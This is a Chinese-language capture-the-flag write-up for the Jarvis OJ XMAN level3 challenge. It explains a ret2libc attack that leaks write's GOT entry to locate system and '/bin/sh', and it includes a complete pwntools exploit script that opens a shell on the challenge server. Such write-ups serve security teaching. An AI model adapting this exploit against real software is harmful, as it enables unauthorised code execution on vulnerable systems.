Jarvis OJ - [XMAN]level3 - Writeup——rop2libc嘗試
這次除了elf程序還附帶一個動態鏈接庫
先看一下,很一般的保護
思路分析
在ida中查看,可以確定通過read函數輸入buf進行溢出,但是並沒有看到合適的目標函數
但是用ida打開附帶的鏈接庫,可以看到system函數和“/bin/sh”字符串都存在
於是思路就確定為read函數溢出->system函數,同時加入參數“/bin/sh”
通過libc.so文件可以得到write、system和/bin/sh的偏移,但system和/bin/sh在內存的地址是未知的
函數在內存中地址為func_addr,在libc中偏移為func_libc則有
sys_addr - sys_libc == write_addr - write_libc
所以我們可以通過泄露write函數的地址,利用函數在內存中的地址和libc文件中的偏移的差相等,獲得system的地址
構造下圖棧幀,溢出目標為system("/bin/sh"),獲取shell
方法論
要利用偏移相等獲得system和bin的地址,首先要泄露得到write的真實地址
可以通過打印write在got表中的地址,獲取其真實地址
所以首先要輸出write_got所對應的地址
所以先構造下圖棧幀,先通過溢出write函數打印write_got
再返回到vuln函數再次執行read,實現二次溢出到system,最終獲取shell
exp
#!usr/bin/env python # encoding:utf-8from pwn import * #io = process("./level3") io = remote("pwn2.jarvisoj.com",9879) elf = ELF("./level3") writeplt = elf.plt["write"] #plt和got都在可執行程序中 writegot = elf.got["write"] func = elf.symbols["vulnerable_function"] libc = ELF("./libc-2.19.so") writelibc = libc.symbols["write"] #libc中可以找到程序中有的/沒有的函數的偏移 syslibc= libc.symbols["system"] binlibc = libc.search("/bin/sh").next() payload1 = ‘a‘ * 0x88 + ‘f**k‘ + p32(writeplt) + p32(func) + p32(1)+p32(writegot)+p32(4) #溢出地址+返回地址+參數 io.recvuntil("Input:\n") io.sendline(payload1) writeaddr = u32(io.recv(4)) #由於python沒有指針,不能*write_got,需要將其輸出並保存 sysaddr = writeaddr - writelibc + syslibc #利用偏移量相等獲得其真實地址 binaddr = writeaddr - writelibc + binlibc payload2 = ‘a‘ * 0x88 + ‘f**k‘ + p32(sysaddr) + p32(func) + p32(binaddr) io.recvuntil("Input:\n") io.sendline(payload2) io.interactive() io.close()
補充
經@M4X學長提醒,本地運行時優先裝在本地系統中的libc庫,導致實際裝載庫並非
造成本地地址錯誤,但是遠程沒問題
可以首先進行if判斷,鏈接不同的庫解決
作者:辣雞小譜尼
出處:http://www.cnblogs.com/WangAoBo/
如有轉載,榮幸之至!請隨手標明出處;
Jarvis OJ - [XMAN]level3 - Writeup——rop2libc嘗試